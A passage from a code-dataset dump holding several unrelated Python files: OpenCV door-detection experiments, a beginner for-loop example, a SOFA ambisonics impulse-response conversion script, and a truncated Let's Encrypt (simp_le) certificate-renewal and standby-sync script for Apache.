tuple(g[0])\n # c2 = tuple(g[1])\n # cv2.line(showImg, c1, c2, (0, 255, 0))\n #\n # cv2.imshow('doorposts', showImg)\n # cv2.waitKey(0)\n\n # NOTE: these could be used but maybe doorpost length is enough\n # THRESH_DIST_MAX = THRESH_DIST_MAX * 0.6\n # THRESH_DIST_MIN = THRESH_DIST_MIN * 0.6\n\n THRESH_ORI_MAX = 10\n\n cornerGroups = []\n done = np.zeros(len(doorPosts))\n\n # Possible door posts are collected, try to join them together\n for i, line1 in enumerate(doorPosts):\n c11, c12 = line1\n length1 = getDistance(c11, c12)\n for j, line2 in enumerate(doorPosts):\n\n # Filter out duplicates\n if done[j] == True:\n continue\n\n c21, c22 = line2\n length2 = getDistance(c21, c22)\n\n # if one of the points is the same -> continue\n if np.array_equal(c11, c21) or np.array_equal(c12, c22):\n continue\n\n # if the length of door posts is too different -> continue\n lengthDiff = abs(length1 - length2)\n if lengthDiff > length1 * 0.15 or lengthDiff > length2 * 0.15:\n continue\n\n # TODO look up real door aspect ratios\n lengthAVG = (length1 + length2) / 2\n minLength = lengthAVG * 0.35\n maxLength = lengthAVG * 0.7\n\n distanceTop = getDistance(c11, c21)\n if distanceTop < minLength or distanceTop > maxLength:\n continue\n\n distanceBot = getDistance(c12, c22)\n # NOTE: the bottom comparison is more helpful\n # if distanceBot < minLength or distanceBot > maxLength:\n # continue\n\n # first distance is top and more important\n if distanceBot > distanceTop * 1.1:\n continue\n\n orientation = np.degrees(getOrientation(c11, c21))\n if orientation > THRESH_ORI_MAX:\n continue\n\n orientation = np.degrees(getOrientation(c12, c22))\n if orientation > THRESH_ORI_MAX:\n continue\n\n # sort to draw door candidate\n group = [c11, c21, c22, c12]\n cornerGroups.append(group)\n\n # doorpost i does not need further testing\n done[i] = True\n\n print('CORNERGROUPS', len(cornerGroups))\n\n return cornerGroups\n\ndef testCandidate(corners, edges):\n # lineImg = np.zeros(edges.shape)\n p1, p2, p3, p4 = corners\n\n # NOTE: bottom line is not checked\n lines = [\n [p4, p1],\n [p1, p2],\n [p2, p3],\n [p3, p4] #bottom line\n ]\n\n percentages = []\n bonus = 0\n\n for i, line in enumerate(lines):\n p1, p2 = line\n maskImg = np.zeros(edges.shape)\n cv2.line(maskImg, tuple(p1), tuple(p2), 1, 2)\n\n roi = edges[maskImg == 1]\n\n # percentage = np.count_nonzero(roi) / len(roi)\n percentage = np.count_nonzero(roi) / getDistance(p1, p2)\n percentage = min(percentage, 1.0)\n\n # print('LINE', percentage)\n # cv2.imshow('test', maskImg)\n # cv2.waitKey(0)\n\n if i == 3:\n bonus = percentage / 4\n break\n\n if percentage < 0.4:\n return 0\n\n percentages.append(percentage)\n # pts = np.array([corners], np.int32)\n # pts = pts.reshape((-1,1,2))\n # cv2.polylines(lineImg, [pts], True, 1, 1, cv2.LINE_AA)\n\n # extract the part of the drawn lines\n # roi = edges[lineImg == 1]\n #\n # percentage = np.count_nonzero(roi) / len(roi)\n # print('::::')\n # print(len(roi))\n # print(np.count_nonzero(roi))\n # print(percentage)\n\n # cv2.imshow('edges', edges)\n\n score = np.average(percentages) + bonus\n\n return score\n\ndef chooseBestCandidate(doors, scores, img):\n diagonals = []\n colorDiffs = []\n angleStability = []\n for corners in doors:\n # Unpack corners\n botLeft, botRight, topRight, topLeft = corners\n\n ### SIZE ###\n # NOTE: maybe another way of size calculation instead of\n # diagonal could be useful\n diagonal = getDistance(botLeft, topRight)\n diagonals.append(diagonal)\n\n # print(corners[:,0])\n # left = int(min(corners[:,0]))\n # right = int(max(corners[:,0]))\n # bottom = int(min(corners[:,1]))\n # top = int(max(corners[:,1]))\n\n ### ANGLE STABILITY ###\n angle1 = getCornerAngles(botLeft, topLeft, topRight)\n angle2 = getCornerAngles(botRight, topRight, topLeft)\n angle3 = getCornerAngles(topLeft, botLeft, botRight)\n angle4 = getCornerAngles(botLeft, botRight, topRight)\n\n # get overall similar angles\n mean = np.mean([angle1, angle2, angle3, angle4])\n angleDeviation = max([abs(mean - angle1), abs(mean - angle2), abs(mean - angle3), abs(mean - angle4)])\n angleStability.append(angleDeviation)\n\n # angleOpposite1 = abs(angle1 - angle4)\n # angleOpposite2 = abs(angle2 - angle3)\n # angleStability.append(angleOpposite1 + angleOpposite2)\n\n ### COLOR DIFFS ###\n left = int(min(botLeft[0], topLeft[0]))\n right = int(max(botRight[0], topRight[0]))\n top = int(max(topRight[1], topLeft[1]))\n bottom = int(min(botLeft[1], botRight[1]))\n\n mask = np.zeros(img.shape, np.uint8)\n mask[left:right, bottom:top] = 255\n # maskInv = 255 - mask\n maskInv = cv2.bitwise_not(mask)\n\n #TODO this does not work\n # print(mask)\n #\n # cv2.imshow('test', cv2.bitwise_and(img, img, mask=mask))\n # cv2.waitKey(0)\n\n inner = np.median(cv2.bitwise_and(img, img, mask=mask))\n outer = np.median(cv2.bitwise_and(img, img, mask=maskInv))\n colorDiff = abs(inner - outer)\n colorDiffs.append(colorDiff)\n\n # NOTE: size could be very misleading\n # print('SCORES PRE:', scores)\n index = np.array(diagonals).argmax()\n scores[index] = scores[index] * 1.2\n index = np.array(colorDiffs).argmax()\n scores[index] = scores[index] * 1.2\n index = np.array(angleStability).argmin()\n scores[index] = scores[index] * 1.2\n # print('SCORES AFTER:', scores)\n\n result = doors[np.array(scores).argmax()]\n print('WINNING SCORE: ', max(scores))\n\n return result\n# END---Detection of doors with the use of corners and edges\n\n# START---Detection of doors with lines from FastLineDetector\ndef fldOperations(img):\n fld = cv2.ximgproc.createFastLineDetector()\n lines = fld.detect(img)\n\n # cv2.imshow('PRE MERGE', fld.drawSegments(img, lines))\n\n hor_lines, vert_lines = processLines(lines)\n\n img = fld.drawSegments(img, lines)\n img = fld.drawSegments(img, np.concatenate((vert_lines, hor_lines), axis=0))\n\n # Line Selection naive algorithm\n h, w = img.shape[:2]\n\n candidates = findRectFromLines(hor_lines, vert_lines, w, h)\n print('CANDIDATES LEN', len(candidates))\n\n for c in candidates:\n pts = np.array([c], np.int32)\n pts = pts.reshape((-1,1,2))\n cv2.polylines(img, [pts], True, (0,255,255), 1, cv2.LINE_AA)\n\n return img\n\ndef processLines(lines):\n lines_hor = []\n lines_vert = []\n\n # Seperate in horizontal and vertical lines\n for line in lines:\n line = line[0]\n ori = getOrientationLine(line)\n\n if 45 < ori < 135:\n lines_hor.append(line)\n else:\n lines_vert.append(line)\n\n # this changes things --> not all algorithms are working correctly\n # lines_vert = sorted(lines_vert, key=lambda line: line[1])\n # lines_hor = sorted(lines_hor, key=lambda line: line[0])\n\n # The higher the more room for merging\n dist_thresh = 5\n ori_thresh = 5\n\n lines_vert = groupLines(lines_vert, dist_thresh, ori_thresh)\n lines_hor = groupLines(lines_hor, dist_thresh, ori_thresh)\n\n # Reform for drawing [[x1, y1, x2, y2]]\n for i in range(len(lines_hor)):\n lines_hor[i] = np.array([lines_hor[i]])\n for i in range(len(lines_vert)):\n lines_vert[i] = np.array([lines_vert[i]])\n\n return np.array(lines_hor), np.array(lines_vert)\n\ndef groupLines(lines, dist_thresh, ori_thresh):\n seen = [lines[0]] # Start with first group containing first line\n for line in lines[1:]: # Check all other lines starting from second\n merged = False\n for index, line_ in enumerate(seen):\n dist = getDistanceLines(line, line_)\n ori = getOrientationDifferences(line, line_)\n\n if dist < dist_thresh and ori < ori_thresh:\n seen[index] = getDistanceLines(line, line_, True)\n merged = True\n break\n\n # only append if no line in seen fits\n if merged == False:\n seen.append(line)\n\n print('MERGED: ', len(lines) - len(seen))\n return seen\n\ndef findRectFromLines(hor_lines, vert_lines, w, h):\n \"\"\"\n Naive algorithm for detecting a rectangle.\n Selection when multiple candidates are found is missing.\n Due not merged lines most results do not work out.\n Also only working on frontal images of doors.\n \"\"\"\n MIN_DIST = w / 4\n HOR_THRESH = 0.1\n VERT_THRESH = 2.0\n POINT_THRESH = 5.0\n\n candidates = []\n\n for line in hor_lines:\n door_corners = []\n\n x1, y1, x2, y2 = line.ravel()\n dist = np.sqrt((x1-x2)**2 + (y1-y2)**2)\n m = abs((y2-y1) / (x2-x1))\n\n # Horizontal line found\n if dist > MIN_DIST and m < HOR_THRESH:\n door_corners.append([x1, y1])\n door_corners.append([x2, y2])\n\n height = (y1+y2) / 2\n\n for line_vert in vert_lines:\n x1_v, y1_v, x2_v, y2_v = line_vert.ravel()\n\n dist = np.sqrt((x1_v-x2_v)**2 + (y1_v-y2_v)**2)\n if x1_v != x2_v:\n m = abs((y2_v-y1_v) / (x2_v-x1_v))\n else:\n m = float(\"inf\")\n\n # NOTE: m could be aborted here maybe\n if dist > (MIN_DIST * 1.5) and m > VERT_THRESH:\n # Check if points are possible connection points\n dist_x11 = abs(x1-x1_v)\n dist_y11 = abs(y1-y1_v)\n\n dist_x12 = abs(x1-x2_v)\n dist_y12 = abs(y1-y2_v)\n\n dist_x21 = abs(x2-x1_v)\n dist_y21 = abs(y2-y1_v)\n\n dist_x22 = abs(x2-x2_v)\n dist_y22 = abs(y2-y2_v)\n\n if (dist_x11 < POINT_THRESH and dist_y11 < POINT_THRESH) or (dist_x21 < POINT_THRESH and dist_y21 < POINT_THRESH):\n if y2_v > height:\n door_corners.append([x2_v, y2_v])\n\n if (dist_x12 < POINT_THRESH and dist_y12 < POINT_THRESH) or (dist_x22 < POINT_THRESH and dist_y22 < POINT_THRESH):\n if y1_v > height:\n door_corners.append([x1_v, y1_v])\n\n if len(door_corners) == 4:\n candidates.append(door_corners)\n door_corners = [[x1, y1], [x2, y2]]\n\n return candidates\n# END---Deteciton of doors with lines from FastLineDetector\n\n#START---Detecton of doors with shape approximation\ndef useShapeDetection(img, edges, gray):\n SIZE_MIN = 20\n\n shapes = np.zeros(edges.shape)\n height, width = edges.shape\n\n blurred = cv2.GaussianBlur(gray, (3,3), 0)\n\n # Auto thresholds for now\n sigma = 0.33\n v = np.median(blurred)\n lower = int(max(0, (1.0 - sigma) * v))\n upper = int(min(255, (1.0 + sigma) * v))\n\n edges = cv2.Canny(blurred, lower, upper)\n\n # edges = cv2.dilate(edges, (3, 3))\n # edges = cv2.erode(edges, (3, 3))\n edges = cv2.morphologyEx(edges, cv2.MORPH_CLOSE, (7, 7), iterations=3)\n\n rectWidthOff = 10\n rectHeightOff = 20\n centerX = int(width / 2)\n centerY = int(height / 2)\n print(centerX, centerY)\n\n rect = np.array([\n [centerX - rectWidthOff, centerY - rectHeightOff],\n [centerX - rectWidthOff, centerY + rectHeightOff],\n [centerX + rectWidthOff, centerY + rectHeightOff],\n [centerX + rectWidthOff, centerY - rectHeightOff]\n ])\n\n print(rect[0], rect[2])\n\n # NOTE: rectangle can be filled aswell (line thickness -1, or cv2.FILLED)\n edges_ = cv2.rectangle(edges, tuple(rect[0]), tuple(rect[2]), 255, cv2.FILLED)\n # edges_ = cv2.fillPoly(edges, rect, 255)\n cv2.imshow('edges_', edges_)\n\n mask = np.zeros((height+2, width+2), np.uint8)\n\n # Floodfill from point (0, 0)\n cv2.floodFill(edges_, mask, (rect[0][0]-1, rect[0][1]-1), 255);\n cv2.imshow('edges_2', edges_)\n\n # NOTE this is probably just not working. too many holes that will result in overflown shapes\n\n # gray > blur > canny > findContours > approxPolyDP\n # img_, contours_, hierarchy = cv2.findContours(edges, cv2.RETR_LIST, cv2.CHAIN_APPROX_NONE)\n # # NOTE: ^ other method or mode could be useful\n # # ___modes___\n # # RETR_EXTERNAL\n # # RETR_LIST\n # # RETR_CCOMP\n # # RETR_TREE\n # # ___methods___\n # # CHAIN_APPROX_SIMPLE\n # # CHAIN_APPROX_NONE\n # # CHAIN_APPROX_TC89_L1,CV_CHAIN_APPROX_TC89_KCOS\n #\n # contours = [cv2.approxPolyDP(cnt, 0.01*cv2.arcLength(cnt,True), True) for cnt in contours_]\n # filteredContours = []\n #\n # for cnt in contours:\n #\n # if len(cnt) < 4:\n # continue\n #\n # size = cv2.contourArea(cnt)\n # if size < SIZE_MIN:\n # continue\n #\n # pts = np.array([cnt], np.int32)\n # pts = pts.reshape((-1,1,2))\n # cv2.polylines(img, [pts], True, (0, 0, 255), 1, cv2.LINE_AA)\n # # cv2.polylines(img, [cv2.boundingRect(pts)], True, (0, 0, 255), 1, cv2.LINE_AA)\n #\n # # cv2.rectangle( img, cv2.boundingRect(cnt)[::2], cv2.boundingRect(cnt)[1::2], (0, 255, 255), 1)\n # # cv2.polylines(shapes, [pts], True, 1, 1, cv2.LINE_AA)\n #\n # filteredContours.append(cnt)\n #\n # cv2.imshow('test', shapes)\n # cv2.imshow('edges', edges)\n #\n # print(len(contours))\n # print(len(filteredContours))\n\n return img\n#END---Detectino of doors with shape approximation\n\n# Helper functions\ndef getCornerAngles(a, b, c):\n ba = a - b\n bc = c - b\n\n cosine_angle = np.dot(ba, bc) / (np.linalg.norm(ba) * np.linalg.norm(bc))\n angle = np.arccos(cosine_angle)\n\n return np.degrees(angle)\n\ndef getOrientationDifferences(line1, line2):\n ori1 = getOrientationLine(line1)\n ori2 = getOrientationLine(line2)\n\n return abs(ori1-ori2)\n\ndef getDistanceLines(line1, line2, merge=False):\n # x1, y1, x2, y2 = line1.ravel()\n # x1_, y1_, x2_, y2_ = line2.ravel()\n x1, y1, x2, y2 = line1\n x1_, y1_, x2_, y2_ = line2\n\n dist1 = getDistance((x1, y1), (x1_, y1_))\n dist2 = getDistance((x2, y2), (x2_, y2_))\n dist3 = getDistance((x1, y1), (x2_, y2_))\n dist4 = getDistance((x2, y2), (x1_, y1_))\n\n if not merge:\n dist = min(dist1, dist2, dist3, dist4)\n return dist\n else:\n dist = max(dist1, dist2, dist3, dist4)\n if dist1 == dist:\n new_line = [x1, y1, x1_, y1_]\n elif dist2 == dist:\n new_line = [x2, y2, x2_, y2_]\n elif dist3 == dist:\n new_line = [x1, y1, x2_, y2_]\n else:\n new_line = [x2, y2, x1_, y1_]\n\n return new_line\n\ndef getDistance(p1, p2):\n x1, y1 = p1\n x2, y2 = p2\n return np.sqrt((x1-x2)**2 + (y1-y2)**2)\n\ndef getOrientation(p1, p2):\n x1, y1 = p1\n x2, y2 = p2\n\n dir = 179\n if x1 != x2:\n dir = (2 / np.pi) * np.arctan(abs(y2-y1) / abs(x2-x1))\n return dir\n\ndef getOrientationLine(line):\n orientation = math.atan2(abs((line[0] - line[2])), abs((line[1] - line[3])))\n return math.degrees(orientation)\n\ndef resize(img, width):\n h, w = img.shape[:2]\n height = int(h * (width / w))\n dim = (width, height)\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n\n return resized\n\n# No longer used methods\ndef lsdOperations(img):\n lsd = cv2.createLineSegmentDetector(0)\n lines = lsd.detect(img)[0]\n img = lsd.drawSegments(img, lines)\n\n return img\n\ndef houghOperations(img, edges):\n # Experiment extracting vertical and horizontal lines, standard Hough Transform\n lines = cv2.HoughLines(edges, 1, np.pi/180, 60)\n if lines is not None:\n print(len(lines))\n vert_lines = [line for line in lines if (abs(line[0][1]) < 0.1 or abs(line[0][1]) > np.pi * 2 - 0.1)]\n hor_lines = [line for line in lines if (abs(line[0][1]) > (np.pi / 2)-0.1 and abs(line[0][1]) < (np.pi / 2) + 0.1)]\n #\n img = showLines(img, vert_lines)\n img = showLines(img, hor_lines)\n\n # Experiment extracting vertical and horizontal lines, probabilistic Hough Transform\n # lines = cv2.HoughLinesP(edges, 5, np.pi/180, 10, 50, 5)\n\n # straight_lines = [l for l in lines if direction(l[0][0], l[0][1], l[0][2], l[0][3]) == 0]\n # img = showLines(img, straight_lines)\n\n # img = showLines(img, lines)\n\n return img\n\ndef direction(x1, y1, x2, y2):\n dir = 0\n if x1 != x2:\n dir = (2 / np.pi) * np.arctan(abs(y2-y1) / abs(x2-x1))\n return dir\n\ndef showLines(img, lines):\n for i in range(0, len(lines)):\n # HoughLinesP or HoughLines\n if len(lines[i][0]) == 4:\n x1, y1, x2, y2 = lines[i][0]\n cv2.line(img,(x1,y1),(x2,y2),(0,255,0),1)\n else:\n rho = lines[i][0][0]\n theta = lines[i][0][1]\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a * rho\n y0 = b * rho\n pt1 = (int(x0 + 1000*(-b)), int(y0 + 1000*(a)))\n pt2 = (int(x0 - 1000*(-b)), int(y0 - 1000*(a)))\n cv2.line(img, pt1, pt2, (0,0,255), 1, cv2.LINE_AA)\n\n return img\n\n# Decision on input\ndef stream(input = 0):\n fullPath = 0\n webCam = True\n\n if input != 0:\n fullPath = 'videos/' + input + '.mp4'\n webCam = False\n\n cap = cv2.VideoCapture(fullPath)\n\n if webCam:\n resultSize = (int(cap.get(3)), int(cap.get(4)))\n else:\n resultSize = (450, 600)\n\n out = cv2.VideoWriter('results/video.avi', cv2.VideoWriter_fourcc('M','J','P','G'), 20.0, resultSize)\n\n while True:\n ret_cam, frame = cap.read()\n\n if not webCam:\n frame = cv2.rotate(frame, cv2.ROTATE_90_CLOCKWISE)\n\n ch = cv2.waitKey(1) & 0xFF\n if ch == ord('q') or ch == 27:\n break\n\n frame = detect(frame)\n\n frame = cv2.resize(frame, resultSize, interpolation = cv2.INTER_AREA)\n\n cv2.imshow('frame', frame)\n out.write(frame)\n\n out.release()\n cap.release()\n cv2.destroyAllWindows()\n\ndef single(path):\n img = cv2.imread('images/' + path + '.jpg')\n\n img = detect(img)\n\n dim = (450, 600)\n # resize image\n resized = cv2.resize(img, dim, interpolation = cv2.INTER_AREA)\n\n cv2.imshow('frame', resized)\n cv2.imwrite('results/' + path + '.jpg', img)\n\n ch = cv2.waitKey(0)\n\n# USAGE\n# python main.py door_X --> single image\n# python main.py --> stream\ndef main():\n if len(sys.argv) > 1:\n if sys.argv[1] == 'vid':\n stream(sys.argv[2])\n else:\n single(sys.argv[1])\n else:\n stream()\n\nmain()\n","sub_path":"experiments.py","file_name":"experiments.py","file_ext":"py","file_size_in_byte":25137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"38520998","text":"__author__ = 'shannon'\n\n# a list variable.\nexampleList = [1, 5, 6, 1, 8]\n\nfor eachNumber in exampleList:\n print(eachNumber)\n\n# Goes from 1 to 9...range is a built in method do not need to import it.\nfor x in range(1, 10):\n print(x)\n\n","sub_path":"for_loop.py","file_name":"for_loop.py","file_ext":"py","file_size_in_byte":239,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"351684829","text":"# -*- coding: utf-8 -*-\n\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n#\n# AudioBooth.py\n#\n# Implementation of conversion from the isophonics dataset\n#\n# (C) Andrés Pérez-López - Eurecat / UPF\n# 02/10/2018\n#\n# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #\n\nfrom pysofaconventions import *\nfrom netCDF4 import Dataset\nimport time\nimport numpy as np\nimport soundfile as sf\n\n#----------Create it----------#\n\nfilePath = \"/Volumes/Dinge/SOFA/isophonics/Classroom.sofa\"\nrootgrp = Dataset(filePath, 'w', format='NETCDF4')\n\n\n#----------Required Attributes----------#\n\nrootgrp.Conventions = 'SOFA'\nrootgrp.Version = SOFAAPI.getAPIVersion()\nrootgrp.SOFAConventions = 'AmbisonicsDRIR'\nrootgrp.SOFAConventionsVersion = SOFAAmbisonicsDRIR.getConventionVersion()\nrootgrp.APIName = 'pysofaconventions'\nrootgrp.APIVersion = SOFAAPI.getAPIVersion()\nrootgrp.AuthorContact = 'andres.perez@eurecat.org'\nrootgrp.Organization = 'Eurecat - UPF'\nrootgrp.License = 'Please ask authors for permission'\nrootgrp.DataType = 'FIRE'\nrootgrp.RoomType = 'reverberant'\nrootgrp.DateCreated = time.ctime(time.time())\nrootgrp.DateModified = time.ctime(time.time())\nrootgrp.Title = 'Classroom'\nrootgrp.AmbisonicsOrder = '1'\n\n\n#----------Required Dimensions----------#\n\nX = 13\nY = 10\n\nM = X*Y\nN = 96000*2\nR = 4\nE = 1\nI = 1\nC = 3\nrootgrp.createDimension('M', M)\nrootgrp.createDimension('N', N)\nrootgrp.createDimension('R', R)\nrootgrp.createDimension('E', E)\nrootgrp.createDimension('I', I)\nrootgrp.createDimension('C', C)\n\n\n#----------Required Variables----------#\n\ndataIRVar = rootgrp.createVariable('Data.IR', 'f8', ('M','R','E','N'))\ndataIRVar.ChannelOrdering = 'fuma'\ndataIRVar.Normalization = 'fuma'\n\naudioFolderPath = '/Volumes/Dinge/isophonics/Classroom/'\n\n\n\n# Listener: compute positions and open files at the same time...\nlistenerPositionVar = rootgrp.createVariable('ListenerPosition', 'f8', ('M','C'))\nlistenerPositionVar.Units = 'metre'\nlistenerPositionVar.Type = 'cartesian'\n\nd = 0.5 # Distance between listener positions\nx_offset = 3\ny_offset = 2\n\n# X and Y here are in the diagram coordinate system\nfor x in range(X):\n x_pos = (d*x) - x_offset\n x_str = '0' + str(int(x * d * 10)) if x < 2 else str(int(x * d * 10))\n\n for y in range(Y):\n y_pos = (d*y) + y_offset\n y_str = '0' + str(int(y*d*10)) if y < 2 else str(int(y*d*10))\n\n m = x*Y + y\n filename = x_str + 'x' + y_str + 'y' + '.wav'\n\n # print (x_pos,y_pos)\n # print (filename)\n # print('---')\n\n # Here coordinate system is shifted 90 degree\n # sofa x = diagram y; sofa y = diagram -x\n x_pos_sofa = y_pos\n y_pos_sofa = -x_pos\n z_pos_sofa = 0\n listenerPositionVar[m,:] = np.asarray([x_pos_sofa,y_pos_sofa,z_pos_sofa])\n\n print('m',m)\n print ('Emitter position: ' + str([x_pos_sofa,y_pos_sofa,z_pos_sofa]))\n print ('Filename: ' + filename )\n print('---')\n\n # Open audio files and get the stuff\n for ch_idx, ch in enumerate(['W','X','Y','Z']):\n\n data, samplerate = sf.read(audioFolderPath + ch +'/' + ch + filename)\n assert samplerate == 96000\n assert np.shape(data) == (96000*2,)\n\n dataIRVar[m, ch_idx, :, :] = data\n\ndataIRVar.ChannelOrdering = 'fuma'\ndataIRVar.Normalization = 'fuma'\n\n\n# ListenerUp in the +Z axis\nlistenerUpVar = rootgrp.createVariable('ListenerUp', 'f8', ('I','C'))\nlistenerUpVar.Units = 'metre'\nlistenerUpVar.Type = 'cartesian'\nlistenerUpVar[:] = np.asarray([0,0,1])\n\n# Listener looking to the front (+X axis)\nlistenerViewVar = rootgrp.createVariable('ListenerView', 'f8', ('I','C'))\nlistenerViewVar.Units = 'metre'\nlistenerViewVar.Type = 'cartesian'\nlistenerViewVar[:] = np.asarray([1,0,0])\n\n\n# Source at the center\nsourcePositionVar = rootgrp.createVariable('SourcePosition', 'f8', ('I','C'))\nsourcePositionVar.Units = 'metre'\nsourcePositionVar.Type = 'cartesian'\nsourcePositionVar[:] = np.zeros(C)\n\nsourceUpVar = rootgrp.createVariable('SourceUp', 'f8', ('I','C'))\nsourceUpVar.Units = 'metre'\nsourceUpVar.Type = 'cartesian'\nsourceUpVar[:] = np.asarray([0,0,1])\n\nsourceViewVar = rootgrp.createVariable('SourceView', 'f8', ('I','C'))\nsourceViewVar.Units = 'metre'\nsourceViewVar.Type = 'cartesian'\nsourceViewVar[:] = np.asarray([1,0,0])\n\n\n# Emitter: same as source\nemitterPositionVar = rootgrp.createVariable('EmitterPosition', 'f8', ('E','C','I'))\nemitterPositionVar.Units = 'metre'\nemitterPositionVar.Type = 'cartesian'\nemitterPositionVar[:] = np.zeros((E,C))\n\n# Receiver\nreceiverPositionVar = rootgrp.createVariable('ReceiverPosition', 'f8', ('R','C','I'))\nreceiverPositionVar.Units = 'metre'\nreceiverPositionVar.Type = 'cartesian'\nreceiverPositionVar[:] = np.zeros((R,C))\n\n# From specs\nsamplingRateVar = rootgrp.createVariable('Data.SamplingRate', 'f8', ('I'))\nsamplingRateVar.Units = 'hertz'\nsamplingRateVar[:] = 96000\n\n# No delay found\ndelayVar = rootgrp.createVariable('Data.Delay', 'f8', ('I','R','E'))\ndelay = np.zeros((I,R,E))\ndelayVar[:,:,:] = delay\n\n\n\n#----------Close it----------#\n\nrootgrp.close()","sub_path":"examples/isophonics/Classroom.py","file_name":"Classroom.py","file_ext":"py","file_size_in_byte":5326,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"187455424","text":"#!/usr/bin/python3\n#\n# runs simp.le \n#\n# This script is run right before apache starts and then once a week (as cronjob)\n#\n# It expects the following environment vars to be set:\n# - SIMPLE_EMAIL e-mail address of the letsencrypt account\n# - SIMPLE_DOMAINS space-separated list of domains to manage certificates for\n# - SIMPLE_KSPASS if present, also create/update a keystore with the given password\n#\n# Set SIMPLE_MAIN (to the hostname of the main server) to run this instance as hot-standby.\n# Instead of running simp_le directly, it'll periodically download the main server's\n# certificate chain. If it has changed (i.e. the main server has updated their certificate),\n# it'll update the local fullchain.pem and cause an apache reload.\n\nfrom datetime import datetime\nimport logging\nimport os\nimport re\nimport subprocess\nimport shutil\nimport sys\nimport time\n\n\n# tagFile will be updated when simp_le fails with an error code.\n# This helps us avoid running into letsencrypt API rate limits\ntagFile = '/tmp/simpleFailed.txt'\n\ndef main():\n\t\"\"\" gather info from environment vars, calls simp_le() and restarts apache if necessary \"\"\"\n\tif not 'SIMPLE_EMAIL' in os.environ:\n\t\traise Exception(\"Missing SIMPLE_EMAIL address\")\n\tif not 'SIMPLE_DOMAINS' in os.environ:\n\t\traise Exception(\"Missing SIMPLE_DOMAINS var\")\n\n\temail = os.environ['SIMPLE_EMAIL']\n\n\t# split the domains at whitespace chars\n\tdomains = os.environ['SIMPLE_DOMAINS'].strip()\n\tdomains = re.sub('\\s+', ' ', domains).split(' ')\n\n\textraArgs = []\n\n\tif 'SIMPLE_TOS' in os.environ:\n\t\textraArgs.append('--tos_sha256')\n\t\textraArgs.append(os.environ['SIMPLE_TOS'])\n\t\tlogging.info('using TOS hash: {0}'.format(os.environ['SIMPLE_TOS']))\n\n\tcode = 0\n\tif not 'SIMPLE_MAIN' in os.environ:\n\t\tcode = simp_le(email, domains, extraArgs=extraArgs)\n\telse:\n\t\tmainServer = os.environ['SIMPLE_MAIN']\n\t\tcode = syncCertificate(mainServer)\n\n\tif code == 0:\n\t\t# the certs have been changed => update sites and reload apache\n\n\t\tsubprocess.Popen('/usr/local/bin/updateSites').wait()\n\t\tsubprocess.Popen(['/etc/init.d/apache2', 'reload']).wait()\n\n\t\tif 'SIMPLE_KSPASS' in os.environ:\n\t\t\t# we've got a keystore password => generate Java keystore\n\t\t\tsubprocess.Popen([\n\t\t\t\t'openssl', 'pkcs12', '-export',\n\t\t\t\t'-in', 'fullchain.pem',\n\t\t\t\t'-inkey', 'key.pem',\n\t\t\t\t'-out', 'keystore.p12',\n\t\t\t\t'-name','keystore',\n\t\t\t\t'-passout','pass:'+os.environ['SIMPLE_KSPASS']],\n\t\t\t\tcwd='/etc/apache2/ssl/').wait()\n\n\treturn code\n\n\ndef prepareDir(path, owner, group=None, mode=None):\n\t\"\"\" Create a directory if it doesn't exist (and set its owner and mode if specified) \"\"\"\n\tif not os.path.exists(path):\n\t\tos.makedirs(path)\n\tshutil.chown(path, owner, group)\n\tif mode != None:\n\t\tos.chmod(path, mode)\n\ndef simp_le(email: str, domains: list, extraArgs = []):\n\t\"\"\" Runs the simp_le program. Expects an account e-mail address (as string) and a string list of domain names\n\tReturns code 0 if the certificates have been renewed, 1 if they haven't and >= 2 on error \"\"\"\n\tassert type(email) == str\n\tassert type(domains) == list\n\n\t# prepare the domain list arguments\n\tfor d in domains:\n\t\textraArgs.append('-d')\n\t\textraArgs.append(d)\n\n\t# prepare directories simp_le needs write access to\n\tprepareDir('/var/www/html/.well-known/', 'simp-le')\n\tprepareDir('/etc/apache2/ssl/', 'simp-le', group='root', mode=0o700)\n\n\t# run simp_le (as user simp-le)\n\tcmd = ['su', 'simp-le', '-s', '/usr/local/bin/simp_le', '--', '--email', email,\n\t\t'-f', 'account_key.json',\n\t\t'-f', 'fullchain.pem',\n\t\t'-f', 'key.pem',\n\t\t'--reuse_key',\n\t\t'--default_root', '/var/www/html'] + extraArgs\n\tlogging.debug('running simp_le: {0}'.format(cmd))\n\tps = subprocess.Popen(cmd, cwd='/etc/apache2/ssl/')\n\treturn ps.wait()\n\n\ndef syncCertificate(mainServer):\n\t\"\"\" fetches mainServer's HTTPS certificate and compares it to our own. If it has changed, update it and return 0 (to indicate we need to reload apache)\n\tIf it hasn't changed, returns 1 \"\"\"\n\tkeyPath = '/etc/apache2/ssl/key.pem'\n\tchainPath = '/etc/apache2/ssl/fullchain.pem'\n\n\tif not os.path.exists(keyPath):\n\t\traise Exception(\"We're in standby mode but don't have the private key! Copy key.pem from the main server ('{0}')\".format(mainServer))\n\n\twith open(keyPath, 'r') as f:\n\t\tprivateModulus = getModulus(f.read(), 'rsa')\n\toldChain = ''\n\tif os.path.exists(chainPath):\n\t\twith open(chainPath, 'r') as f:\n\t\t\toldChain = f.read()\n\n\tchain = list(fetchCertificateChain(mainServer))\n\n\tif '\\n'.join(chain) == oldChain:\n\t\t# we're up2date\n\t\treturn 1\n\n\t# see if our private key matches one of the fetched certificates\n\tkeysMatch = False\n\tfor cert in chain:\n\t\tmodulus = getModulus(cert)\n\t\tif modulus == privateModulus:\n\t\t\tkeysMatch = True\n\t\t\tbreak\n\n\tif not keysMatch:\n\t\traise Exception(\"The certificates we fetched from '{0}' don't seem to match our private key!\".format(mainServer))\n\n\t# checks passed -> update fullchain.pem and return 0\n\tlogging.info(\"updating local certificate chain (fetched from '{0}'\".format(mainServer))\n\twith open(chainPath+'.tmp', 'w') as f:\n\t\tf.write('\\n'.join(chain))\n\n\tos.rename(chainPath+'.tmp', chainPath)\n\treturn 0\n\ndef fetchCertificateChain(hostname):\n\t\"\"\" uses `openssl s_client` to fetch the given host's HTTPS certificate and yields each of the certificates it finds in its output \"\"\"\n\tps = 